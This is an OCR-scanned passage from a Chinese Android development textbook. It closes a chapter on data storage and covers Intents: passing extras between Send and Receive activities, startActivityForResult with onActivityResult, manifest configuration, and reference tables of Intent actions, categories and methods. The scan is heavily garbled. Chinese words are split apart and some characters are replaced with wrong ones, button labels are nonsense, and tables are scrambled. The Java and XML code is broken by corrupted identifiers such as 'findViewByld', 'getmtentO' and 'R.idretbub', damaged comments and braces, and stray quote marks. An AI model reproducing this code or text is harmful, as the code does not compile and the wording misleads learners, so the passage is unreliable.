int entries[] = { R.id._id, R.id.name, R.id.number }; // 匹 配 的 组 件 ID 
this.listAdapter = new SimpleCursorAdapter(this, // 将 数据 包装 
R.layout.calls, /每 行 显示 一 条 数据 
result, // 要 设置 的 查询 结果 
columns, // 显 示 列 
entries) ; // 对 应 的 组 件 ID 
this.callList.setAdapter(this .listAdapter); /设置 数据 


} 


} 
本 段 程序 最 大 的 特点 是 直接 将 查询 出 来 的 Cursor 设置 到 了 SimpleCursorAdapter 类 
(SimpleCursorAdapter 类 是 ListAdapter 的 子 类 , 在 本 程序 中 ,所 有 的 操作 对 象 都 使 用 ListAdapter 
完成 ) 中 ， 同 时 指定 了 要 显示 的 字段 名 称 (columns) 、 要 显示 数据 的 组 件 ID (contacts.xml 中 
的 两 个 TextView 组 件 的 ID) ， 最 后 将 包装 后 的 数据 设置 到 ListView 组 件 中 进行 显示 ， 程 序 的 
运行 效果 如 图 8-42 所 示 。 


8.5 本 章 小 结 


(1) Android 中 的 数据 存储 主要 有 5 种 : SharedPreferences 存储 、 文 件 存 储 、SQLite 数据 
库存 储 、ContentProvider 存储 和 网 络 存 储 。 

(2) SharedPreferences 存储 适合 存储 一 些 程序 的 配置 信息 。 

(3) 文件 存储 可 以 保存 多 种 数据 形式 ， 也 可 以 使 用 XML 文件 保存 。 

(4) 在 Android 中 除了 可 以 使 用 DOM、SAX 解析 之 外 ， 也 可 以 使 用 Pull 解析 以 及 JSON 
数据 进行 操作 。 

(5) SQLite 是 一 个 用 于 骨 入 式 开发 的 数据 库 ， 其 支持 标准 SQL 开发 。 

(6) ListView 滑动 分 页 是 Android 中 较为 常用 的 一 种 显示 组 件 。 

(7) 如 果 希 望 将 数据 发 布 给 其 他 程序 使 用 ， 则 可 以 通过 ContentProvider 组 件 完 成 。 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 
掌握 Intent 的 主要 使 用 及 信息 的 传递 。 
掌握 Activity 程序 的 生命 周期 及 相关 处 理 方法 。 
可 以 使 用 Broadcast 进行 广播 的 发 送 及 处 理 。 
掌握 主线 程 和 子 线 程 的 关系 以 及 操作 。 
掌握 Service 的 用 法 ， 并 可 以 调用 手机 系统 所 提供 的 Service 进行 操作 。 
掌握 桌面 显示 组 件 AppWidget 的 使 用 。 
在 Android 项 目 开 发 中 ， 存 在 多 个 Activity 程序 ， 这 多 个 Activity 程序 之 间 也 需要 进行 互相 
通信 ， 本 章 将 讲解 Android 间 通 信 的 主要 组 件 一 一 Intent， 以 及 一 个 Activity 程序 的 完整 生命 周 
期 、Service 和 Broadcast 操作 等 。 


回回 网 网 网 网 节 


9.1 认识 Intent 


在 之 前 所 讲解 的 程序 中 , 全 部 程序 都 是 直接 在 一 个 Activity 程序 中 进行 的 , 但 是 一 个 项 目 肯 
定 会 由 多 个 Activity 程序 所 组 成 , 那么 此 时 ，Activity 程序 之 间 就 需要 进行 通信 , 而 这 是 依靠 Intent 
完成 的 ， 如 图 9-1 所 示 , 通过 Intent 可 以 传递 要 操作 的 信息 , 同时 也 可 以 启动 其 他 Activity 程序 。 


Intent 


Activity 程 序 Activity 程 序 
图 9-1 Intent 与 Activity 程序 之 间 的 关系 
要 想 进行 Intent 的 操作 ， 需 要 android.app.Activity 类 中 的 几 个 方法 的 支持 ， 如 表 9-1 所 示 。 
表 9-1 Activity 程序 支持 的 Intent 操作 方法 


方 -- -法 


描 ” 述 
启动 一 个 Activity， 并 通过 Intent 传送 
数据 

启动 并 接收 另 一 个 Activity 程序 回 传 
数据 ， 当 requestCode 大 于 0 时 才 可 以 
触发 onActivityResultO 

返回 启动 当前 Activity 程序 的 Intent 


1 |public void startActivity(Intent intent) 


public void startActivityForResult(Intent intent, 
int requestCode) 


3 |public Intent getmtentO 
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续 表 
No. 方 - 法 描 ” 述 
protected void onActivityResult(int requestCode, 当 需 要 接收 Intent 回 传 数据 时 覆 写 此 
int resultCode, Intent data) 方法 对 回 传 操作 进行 处 理 


调用 此 方法 会 返回 之 前 的 Activity 程 
序 , 并 自动 调用 onActivityResult0 方 法 


5 |public void finishO 


public final Cursor managedQuery (Uri uri, 
6 |String[] projection, String selection, String[] 
selectionAres, String sortOrder 


下 面 为 了 让 读者 可 以 尽快 理解 mtent 的 作用 , 将 通过 一 个 程序 进行 演示 , 本 程序 的 主要 功能 
是 直接 在 一 个 项 目 中 定义 两 个 Activity 程序 (Send.java、Receive.java)， 之 后 由 Send 的 Activity 
得 序 启动 Receive 的 Activity 程序 ， 为 了 区 分 显示 ， 首 先 修改 资源 文件 (strings.xml) 。 
【 例 9-1】 修改 values\strings.xml 文件 
<?xml version= "1.0" encoding="utf-8"?> 
<resources> 
<string name="app_title">Intent 操作 </string> 
<string name="send_name"> 发 送 Intent 的 Activity 程序 。</string> 
<string name="receive_name"> 接 收 Intent 的 Activity 程序 。</string> 
</resources> 
本 文件 共 定义 了 3 个 信息 : 一 个 表示 整体 程序 的 标题 (app_title) ;一 个 在 Send 程序 中 使 
用 (send name) ; 另外 一 个 在 Receive 程序 中 使 用 (receive _ name) 。 
【 例 9-2】 定义 Send 的 Activity 程序 的 布局 管理 器 一 一 send_main.xml 
<?xml version="1.0" encoding="utf-8"?> 


处 理 返 回 的 Cursor 结果 集 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android”" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /定义 按钮 组 件 
android:id="@+id/mybut" /组件 ID， 程序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "胡乱 将 絮 荡 到 另 一 个 Activity 程 庐 )> // 组 件 的 黑 认 显示 文字 
</LinearLayout> 


【 例 9-3】 定义 Activity 程序 一 一 Send.java 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.Intent; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

public class Send extends Activity { 
private Button mybut = null ; /按钮 组 件 
@Override 


343 


名 师 讲坛 一 一 Android 开发 实战 经 典 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.send_main); // 默 认 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; /取得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); /定义 单 击 事件 


private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Intent it = new Intent(Send.this, Receive.class); 。 // 实 例 化 Intent 
iputExtra("myinfo"，" 北 京 魔 乐 科技 软件 学 院 (www.mldnjava.cn) ") ; // 附 加 信息 
Send.this.startActivity(it) ; /启动 Activity 
} 
1 


} 
本 Activity 程序 的 主要 功能 是 利用 按钮 启动 Receive 程序 ， 所 以 在 按钮 的 单 击 事件 中 ， 首 先 
实例 化 一 个 Intent 类 的 对 象 ， 指 明 执行 本 次 跳 转 
的 Activity 程序 (Sendjava) 和 要 启动 的 Activity CRE 
程序 (Receive.class) ， 而 后 使 用 putExtra() 方 法 


向 Receive 程序 传递 一 个 附加 的 数据 ,数据 的 名 称 

是 myinfo， 青 通过 Activity 类 中 的 startActivity0 
方法 启动 指定 的 Activity 程序 ， 程 序 运 行 后 的 效 
果 如 图 9-2 所 示 。 


【 例 9-4】 定义 接收 端的 布局 管理 器 一 一 receive_main.xm 
<?xml version="1.0" encoding="utf-8"?> 


Intent 操 作 


图 9-2 发 送 端的 Activity 程序 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 

android:id="@+id/show” // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 

android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 9-5】 定义 Activity 程序 ， 接 收 传递 过 来 的 附加 信息 一 一 Receive.java 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Intent'; 
import android.os.Bundle; 
import android.widget. TextView; 
public class Receive extends Activity { 
private TextView show = null ; // 文 本 显示 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.receive_main); // 调 用 默认 布局 管理 器 
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this.show = (TextView) super.findViewByld(R.id.show) ; // 取 得 组 件 


Intent it = super.getIntent() ; // 取 得 启动 此 程序 的 Intent 
String info = it.getStringExtra("myinfo") ; // 取 得 设置 的 附加 信息 
this.show.setText(info) ; // 设 置 文 本 显示 信息 


} 

| 

由 于 Receive 程序 是 通过 Send 程序 启动 的 , 所 以 
通过 Activity 类 中 的 getIntent0 方 法 取得 了 当前 的 
Intent 对 象 ， 而 后 利用 getStringExtra() 方 法 取出 了 所 En 
设置 的 附加 信息 ， 并 将 这 些 信息 设置 在 了 TextView sea 六 
中 进行 显示 ， 程 序 的 运行 效果 如 图 9-3 所 示 。 图 9-3 由 Send 跳 转 到 Receive 

通过 本 程序 的 运行 操作 可 以 清楚 地 发 现 ， 两 个 
Activity 程序 要 想 完成 附加 数据 的 传送 , 直接 利用 Intent 的 setExtra0 和 getStringExtra() 方 法 即 可 ， 
但 这 只 是 Intent 的 一 个 功能 ,更 多 的 功能 将 在 以 后 逐渐 为 读者 介绍 。 另 外 ， 由 于 本 程序 使 用 了 两 
个 Activity 程序 ， 所 以 还 需要 修改 AndroidManifestxml 程序 ， 为 其 增加 一 个 新 的 Activity 程序 。 

【 例 9-6】 修改 AndroidManifestxml 文件 ， 增 加 新 的 Activity 程序 
<?xml version= "1.0" encoding="utf-8"?> 
<manifest xmIns:android="http:/schemas.android.com/apk/res/android" 


CEET7TTTTES 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 表 示 程 序 的 版 本 
android:versionName="1.0"> // 显 示 给 用 户 的 信息 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon” // 程 序 图 标 
android:label="@string/app_title”> /显示 信息 
<activity /配置 Activity 
android:name="Send" /指定 的 Activity 程序 类 
android:label="@string/send_name"> /显示 的 标签 信息 
<intent-filter> JIntent 操作 
<action /指定 操作 的 Action 
android:name="android.intent.action.MAIN"/> /表示 程序 入 口 
<category // 执 行程 序 的 类 别 
android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> /1ILAUNCHER 为 运行 
</activity> 
<activity /配置 Activity 
android:name="Receive" /Activity 程序 的 名 称 
android:label="@string/receive_name"/> // 程 序 的 标题 
</application> 
<uses-sdk android:minSdkVersion="10" /> 1/ 使 用 的 最 低级 别 
</manifest> 


此 时 的 配置 文件 中 定义 了 两 个 Activity 程序 ， 所 以 存在 两 个 <activity> 节 点 ， 第 一 个 Activity 
程序 (Send) 中 使 用 <intent-filter> 指 定 其 运行 类 型 如 下 。 

回 Android 程序 的 入 口 : <action android:name"android.intent.action.MAIN"/>。 

回 ”该 程序 在 列表 中 显示 : <category android:name"android.intent.category.LAUNCHER"/>。 

而 第 二 个 Activity 程序 (Receive) 由 于 是 Send 所 启动 ， 所 以 只 是 在 <activity> 元 素 中 直接 定 
义 了 一 个 程序 的 名 称 。 
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在 本 程序 中 可 以 发 现 一 个 问题 ， 当 程序 执行 Send 之 后 只 是 将 数据 带 给 了 Receive 程序 ， 属 
于 单方 面 的 数据 传递 ， 那 么 如 果 现 在 Receive 需要 再 回 传 给 Send 数据 的 话 ， 就 不 能 使 用 
startActivity0 方 法 ， 只 能 通过 startActivityForResult() 方 法 完成 ， 如 果 要 想 接收 回 传 数据 ， 则 需要 
Activity 常量 的 支持 ， 如 表 9-2 所 示 。 


表 9-2 Activity 提供 的 操作 常量 


No. 方 ” 法 描述 
Ll | public static final int RESULT OK 操作 正常 状态 码 
2 | public static final int RESULT CANCELED 操作 取消 状态 码 


用 户 将 自 定义 操作 状态 码 


除了 3 个 常量 之 外 ， 用户 还 需要 在 接收 回 传 的 Activity 程序 中 ， 履 写 onActivityResultO 这 个 
受 保护 的 方法 , 以 便 对 Intent 的 返回 值 进行 接收 , 为 了 方便 读者 理解 , 对 于 接 下 来 要 讲解 的 程序 ， 
下 面 先 给 出 一 张 程序 流程 的 操作 图 ， 如 图 9-4 所 示 。 


户 一 通过 Intent 设 置 附加 信息 
Send 


通过 Intent 设 置 附加 信息 
图 9-4 通过 Intent 回 传 数 据 的 操作 流程 


在 图 9-4 中 有 两 个 组 成 部 分 : Send.java 和 Receivejava 程序 ， 在 Send.java 程序 中 ， 由 于 要 
接收 Receive.java 程序 的 返回 数据 ， 所 以 只 能 依靠 startActivityForResult() 方 法 启动 Receivejava 
程序 ， 并 且 为 了 可 以 处 理 Receive.java 的 返回 值 ， 还 需要 将 onActivityResult0 方 法 进行 获 写 。 而 
当 Receivejava 程序 要 进行 数据 回 传 时 ， 则 首先 应 该 使 用 setResult0 方 法 设置 一 个 数据 返回 结果 
的 状态 码 ， 随 后 使 用 finish() 方 法 关闭 当前 的 Activity 程序 (Receive.java) ， 并 且 会 自动 将 数据 
回 传 给 Send.java 程序 中 的 onActivityResult0 方 法 ， 以 便 对 返回 数据 进行 操作 。 

【 例 9-7】 在 布局 管理 器 中 定义 Send 程序 的 组 件 send_ main.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 

xmins:android="http:/schemas.android.com/apk/res/android" 

android:id="@+id/MyLayout” /布局 管理 器 ID 

android:orientation="vertical” /所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

<Button // 定 义 按钮 组 件 
android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 
android:layout_ width="wrap_content" // 组 件 宽度 为 文字 宽度 
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android:layout_height="wrap_content” 
android:text=" 胡 巷 烷 辟 大 到 另 一 个 Activity 程 庐 /> 
<TextView 
android:id="@+id/msg” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 
</LinearLayout> 
【 例 9-8】 修改 Sendjava 程序 ， 接 收 Receive.java 程序 的 返回 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget. TextView; 
public class Send extends Activity { 
private Button mybut = null ; 
private TextView msg = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.send_main); 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; 
this.msg = (TextView) super findViewByld(R.id.msg) ; 


/组件 高 度 为 文字 高 度 
/默认 显示 文字 
/文本 显示 组 件 
// 组 件 ID， 程 序 中 使 用 
/组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 


数据 一 一 Send.java 


// 按 钮 组 件 
/文本 组 件 


// 默 认 布 局 管理 器 
// 取 得 组 件 
// 取 得 组 件 


this.mybut.setOnClickListener(new OnClickListenerImpl()); /定义 单 击 事件 


} 


private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
Intent it = new Intent(Send.this, Receive.class); 


/实例 化 Intent 


让 putExtra("myinfo"，" 北 京 魔 乐 科技 软件 学 院 (www.mldnjava.cn)") ; /附加 信息 


Send.this.startActivityForResult(it, 1); 
1 
} 
@Override 


/启动 Activity 


protected void onActivityResult(int requestCode, int resultCode, Intent data) { 


switch (resultCode) { 
case RESULT_OK: 


/判断 操作 类 型 
1/ 成功 操作 


msg.setText(" 返 回 的 内 容 是 : " + data.getStringExtra("retmsg")); 


break; 

case RESULT_CANCELED: 
msg.setText(" 操 作 取 消 。"); 
break ; 

default: 
break; 

} 

} 
) 


// 取 消 操作 


在 本 程序 中 与 之 前 一 样 ， 通 过 Intent 向 Receive 程序 传递 一 个 附加 信息 ， 但 是 由 于 此 时 需要 
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接收 Receive 程序 返回 的 数据 ， 所 以 启动 Receive 程序 使 用 了 startActivityForResult0 方 法 完成 ， 
在 此 方法 中 第 一 个 参数 设置 的 是 要 传送 的 Intent 对 CE 


象 , 而 第 二 个 参数 设置 了 一 个 数字 1, 这 样 做 主要 是 


为 了 


在 数据 回 传 之 后 ， 可 以 利用 onActivityResultO) nen 人 


方法 进行 数据 的 接收 处 理 ， 而 如 果 设 置 的 数字 小 于 


0, 则 不 会 调用 onActivityResult0 方 法 , 程序 的 运行 
效果 如 图 9-5 所 示 。 
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图 9-5 启动 Send.java 程序 


【 例 9-9】 定义 Receive 的 布局 管理 器 一 一 receive_ main xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 
xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 

android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 

android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 此 布局 管理 器 高 度 为 屏幕 高 度 

<TextView // 定 义 文本 显示 组 件 
android:id="@+id/show” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 

<Button // 定 义 按钮 组 件 
android:id="@+id/retbut”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content" // 组 件 高 度 为 文字 高 度 
android:text= "旋回 雪 欣 到 Send。"> // 默 认 显 示 文 字 

</LinearLayout> 


【 例 9-10】 定义 Receive.java 程序 ， 通 过 Intent 回 传 数 据 一 一 Receive.java 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget. TextView; 
public class Receive extends Activity { 


private TextView show = null ; // 文 本 显示 组 件 
private Button retbut = null ; // 按 钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.receive_main); // 调 用 默认 布局 管理 器 
this.show = (TextView) super.findViewByld(R.id.show) ; /取得 组 件 
this.retbut = (Button) super.findViewByld(R.idretbub ; ”// 取 得 组 件 


Intent it = super.getintent() ; // 取 得 启动 此 程序 的 Intent 
String info = it.getStringExtra("myinfo") ; // 取 得 设置 的 附加 信息 
this.show.setText(info) ; /设置 文本 显示 信息 
this.retbut.setOnClickListener(new OnClickListenerImpl()) ; /设置 监 
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private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Receive.this.getintent().putExtra("retmsg", "老师 : 李兴华 ") ;”// 返 回信 息 
// 设 置 返回 数据 的 状态 , RESULT_OK 与 Sendjava 中 的 onActivityResult() 的 判断 对 应 
Receive.this.setResult(RESULT_OK, Receive.this.getIntent()) ; 
Receive.this finish() ; /| 结束 Intent 
} 
} 


} 

在 本 程序 中 首先 依然 接收 了 从 前 面 传递 过 来 的 Intent 数据 , 而 后 通过 一 个 按钮 对 回 传 的 数据 
进行 了 操作 ， 首 先 通过 setResult0 方 法 设置 了 回 传 的 结果 码 (RESULT OK) ， 而 后 通过 finish() 
方法 让 当前 的 Activity 程序 (Receive) 关闭 ， 随 后 将 数据 回 传 到 发 送 数据 过 来 的 Activity 程序 

(Send) ， 并 调用 Send.java 程序 中 的 onActivityResult( 方 法 对 回 传 的 数据 进行 处 理 ， 程 序 的 运 
行 效果 如 图 9-6 所 示 ， 而 返回 数据 的 效果 如 图 9-7 所 示 。 


CHEERY ER] CEEZZZTE 


EUTCTETCTTTY ET 及 Intent 党 帮 
z 
图 9-6 跳 转 到 Receive 程序 中 图 9-7 将 数据 返回 给 Send.java 
在 本 程序 中 最 为 关键 的 语句 就 是 Sendjava 程序 中 的 : 
Send.this.startActivityForResult(it, 1); // 启 动 Activity 


如 果 在 此 方法 中 设置 的 请 求 代码 的 数值 小 于 0， 则 不 会 执行 onActivityResult0 方 法 对 返回 数 
据 进 行 处 理 ， 这 一 点 读者 可 以 自行 实验 。 


9.2 Intent 深入 


通过 之 前 的 程序 读者 应 该 已 经 清楚 地 发 现 Intent 的 主要 作用 了 ， 在 两 个 Activity 程序 之 间 ， 
只 有 通过 android.content.Intent 类 才 可 以 完成 数据 的 传递 , 之 前 只 是 完成 了 一 个 附加 信息 (Extra) 
的 传递 ， 在 Intent 传递 的 数据 实际 上 一 共 分 为 以 下 7 种 : 操作 (Action) 、 数 据 (Data) 、 数 据 
类 型 (Type) 、 操 作 类 别 〈Category) 、 附 加 信息 (Extras) 、 组 件 (Component) 和 标志 (Flags) 。 

(1) 操作 (Action) 

设置 该 Intent 会 触发 的 操作 类 型 ， 可 以 通过 setAction() 方 法 进行 设置 ， 在 Android 系统 中 已 经 
为 用 户 准 备 好 了 一 些 表示 Action 操作 的 常量 ， 如 ACTION_CALL、ACTION MAIN 等 ， 如 表 9-3 
所 示 ， 用 户 也 可 以 根据 自己 的 需要 定义 操作 名 称 。 


表 9-3 系统 常用 的 Action 
No. Action 名 称 AndroidManifest.xml 配置 名 称 描 述 
Pe ee 作为 一 个 程序 的 入 口 ， 不 需 
android.intent.action.MAIN 和 
要 接收 数据 
2 | ACTION VIEW android.intent.action. VIEW 用 于 数据 的 显示 
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No Action 名 称 AndroidManifest.xml 配置 名 称 描述 
3 | ACTION DIAL android.intent.action. DIAL 调用 电话 拨号 程序 
4 | ACTION EDIT android.intent.action. EDIT 用 于 编辑 给 定 的 数据 
es - 从 特定 的 一 组 数据 中 进行 数 
5 ACTION PICK android.intent.action.PICK 据 的 选择 操作 
6 | ACTION RUN android.intentaction RUN 运行 数据 
7 | ACTION SEND android.intent.action.SEND 调用 发 送 短信 程序 
8 | ACTION GET CONTENT | android.intent.action.GET CONTENT 根据 指定 的 Type 来 选择 打开 
Sas 加 操作 内 容 的 Intent 
9 | ACTION CHOOSER android.intent.action.CHOOSER 创建 文件 操作 选择 器 


同 的 


(2) 数据 (Data) 
描述 Intent 所 操作 数据 的 URI 及 类 型 ， 可 以 通过 setData0 进 行 设置 ， 不 同 的 操作 对 应 着 不 
Data， 一 些 常 用 的 数据 如 表 9-4 所 示 。 


表 9-4 Action 与 Data 的 数据 关联 


tel: 电 话 号 码 
smsto: 短 信 接 收入 号 码 
查找 SD 卡 文件 file:///sdcard/ 文 件 或 目录 


显示 地 图 geo: 坐 标 ,坐标 


如 果 要 想 设 置 数据 ， 则 必须 要 使 用 android.net.Uri 类 完成 ， 此 类 所 定义 的 常用 方法 如 表 9-5 


操作 类 型 
浏览 网 页 
拨打 电话 


http://www.mldn.cn 
tel:01051283346 
smsto: 13621384455 
file:///sdcard/mypic.jpg 
geo:31.899533,-27.036173 


所 示 
表 9-5 android.net.Uri 类 的 常用 方法 
No. 帮 法 描 ” 述 
1 public static Uri parse(String uriString) 根据 指定 的 地 址 创建 一 个 Uri 对 象 
2 public static String encode(String s) 对 数据 进行 编码 
3 public static String decode(String s) 对 编码 数据 进行 解码 
4 public static Uri fromFile(File file) 读 取 文 件 中 的 数据 创建 Uri 对 象 


(3) 数据 类 型 (Type) 
指定 要 传送 数据 的 MIME 类 型 ， 可 以 直接 通过 setType() 方 法 进行 设置 ， 常 用 的 几 种 MIME 


类 型 如 表 9-6 所 示 。 


表 9-6 常用 的 几 种 MIME 类 型 


作 用 MIME 类 型 E 作 用 MIME 类 型 
发 送 短信 Vndandroid-dirmms-sms 普通 文本 | text/plain 
设置 图 片 image/png 设置 音乐 audio/mp3 


(4) 操作 类 别 (Category) 
对 执行 操作 的 类 别 进行 描述 ， 可 以 通过 addCategory() 方 法 设置 多 个 类 别 , 在 Android 中 


入 
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用 的 类 别 信息 都 在 Intent 类 中 定 
No Category 名 称 


义 ， 常 见 的 几 种 Category 如 表 9-7 所 示 。 


表 9-7 常见 的 Category 
AndroidManifest.xml 配置 名 称 


描述 


1 |CATEGORY LAUNCHER 


android.intent.category.LAUNCHER 


表示 此 程序 显示 在 应 用 程序 列 
表 中 


2 |CATEGORY HOME 


android.intent.category.HOME 


显示 主 桌 面 , 即 开 机 时 的 第 
界面 


个 


CATEGORY PREFERENCE 


android.intent.category. PREFERENCE 


运行 后 将 出 现 一 个 选择 面板 


4 |CATEGORY BROWSABLE 
5 |CATEGORY DEFAULT 


6 |CATEGORY OPENABLE 


android.intent.category. BROWSABLE 
android.intent.category.DEFAULT 


android.intent.category.OPENABLE 


显示 一 张 图 片 、Email 信息 
置 一 个 操作 的 默认 执行 
当 Action 设置 为 GET_ CONTENT 


时 用 于 打开 指定 的 Uri 
(5) 附加 信息 (Extras) 


传递 的 是 一 组 键 值 对 ， 可 以 使 用 pubExtra0 方 法 进行 设置 ， 主 要 功能 是 传递 数据 〈Uri) 所 
需要 的 一 些 额 外 的 操作 信息 ， 常 用 的 几 种 数据 类 型 的 附加 信息 如 表 9-8 所 示 。 


表 9-8 常见 数据 类 型 的 附加 信息 


操作 数据 
Er 


sms_bod 

指定 接收 Email 或 信息 的 接收 人 
用 于 指定 Email 的 接收 者 , 接收 
用 于 指定 Email 邮件 的 标题 

用 于 设置 邮件 内 容 


-个 数组 


(6) 组 件 (Component) 
指明 将 要 处 理 的 Activity 程序 ， 所 有 的 组 件 信息 都 被 封装 在 
这 些 红 


-个 ComponentName 对 象 中 ， 
件 都 必须 在 AndroidManifestxml 文件 的 <application> 中 注册 。 

(7) 标志 (Flags) 

用 于 指示 Android 系统 如 何 加 载 并 运行 一 个 操作 ， 可 以 通过 addFlags() 方 法 进行 增加 。 

| 于 以 上 所 需要 传递 的 数据 ， 在 Intent 类 中 都 有 对 应 的 操作 方法 ， 此 外 ，Intent 本 身 也 存在 
- 些 其 他 的 常用 操作 方法 ， 如 表 9-9 所 示 。 


表 9-9 Intent 类 常用 方法 


No. 方 ” 法 描述 
1 _|public Intent 创建 一 个 空 的 Intent 对 象 
2_ |public Intent(Intent o 复制 一 个 Intent 对 象 
二 一 个 9 Activi 

3 |public Intent(String action) 2 A 

: 3 指定 一 个 跳 转 的 Activity 及 传 
4 |public Intent(String action, Uri uri) 递 的 Uri 信息 

指定 操作 的 上 下 文 以 及 跳 转 
5 |public Intent(Context packageContext, Class<?> cls) 的 Activity 程序 
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续 表 
No. 方法 类 型 描述 
6 |public Intent addCategory (String category) 普通 ”| 增加 Category 数据 
7 |public Intent addFlags(int flags, 普通 ”| 增加 一 个 flag 标记 
8 |public Intent cloneFilter0 普通 | 复制 Intent 
9 |public boolean[] getBooleanArrayExtra(String name) 普通 | 取得 一 个 布尔 数组 的 附加 信息 
议 public boolean getBooleanExtra(String name, boolean 普通 “| 取得 一 个 布尔 型 的 附加 信息 
defaultValue) 
11 |public Bundle getBundleExtra(String name) 普通 “| 取得 一 个 设置 的 Bundle 数据 
12 |public byte[] getByteArrayExtra(String name, 普通 “| 取得 一 个 字 节 数组 的 附加 信息 
13 |public byte getByteExtra(String name, byte defaultValue) 普 和 取得 一 个 字 节 的 附加 信息 
14 |public Set<String> getCategories| 普通 | 取得 一 个 表示 类 别 的 附加 信息 
二 public CharSequence[] getCharSequenceArrayExtra (String 普通 取得 一 个 CharSequence 数组 
”|name) 一 的 附加 信息 
: 取得 全 部 设置 的 CharSequence 
16 getCharSequenceArrayListExtra 普通 的 附加 信息 ， 以 ArrayList 集 
ng name, 合 返 回 
。 得 一 个 CharSequence 设置 
17 |public CharSequence getCharSequenceExtra(String name) 普通 ee 加 人 自 
JP 互 , 蔬 \ 
18 |public ComponentName getComponent(O) 普通 “| 取得 组 件 的 信息 
19 |public Uri getData 普通 “| 取得 设置 的 Uri 数据 
。 返回 所 设置 的 double 数组 的 
20 |public double[] getDoubleArrayExtra(String name) 普通 : 加 0 9 
言 息 
21 |public double getDoubleExtra(String name, double defaultValue, 普通 “| 返回 一 个 double 型 的 附加 信息 
22 |public Bundle getExtras() 普通 ”| 返回 设置 的 所 有 附加 信息 
23 |public int getFlags 普通 ”| 返回 设置 的 标记 信息 
是 返回 设置 的 int 型 数组 的 附加 
24 |public int[] getIntArrayExtra(String name) 普通 信息 
言 息 
返回 设置 的 一 个 int 数据 芯 
25 | public int getIntExtra(String name, int defaultValue) 普通 入 的 队 
言 息 
有 和 . et 以 字符 串 的 形式 返回 指定 的 
26 |public String getStringExtra(String name) 普通 ee 
附加 信息 
27 |public String getTypeO 普通 “| 返回 MIME 
28 |public boolean hasCategory(String catego 普 ii 判断 是 否 有 指定 的 Category 
29 | public boolean hasExtra(String name 普通 “| 判断 是 否 有 指定 的 附加 信息 
30 |public Intent putExtra(String name, boolean value) 普 j 设置 boolean 型 数据 的 附加 信息 
31 |public Intent putExtra(String name, int Value 普通 “| 设置 int 型 数据 的 附加 信息 
32 |public Intent putExtra(String name, String value) 普 ii 设置 字符 串 数据 的 附加 信息 
设置 一 个 可 序列 化 对 象 的 附 
33 |public Intent putExtra(String name, Serializable value) 普 加 信息 
言 息 
34 |public Intent putExtra(String name, Bundle value) 普 ii 设置 一 组 附加 信息 
35 |public Intent putExtra(String name, byte[] value) 普 ii 设置 一 个 字 节 数组 的 附加 信息 
36 |public Intent putExtra(String name, byte value 普 ii 设置 一 个 字 节 的 附加 信息 
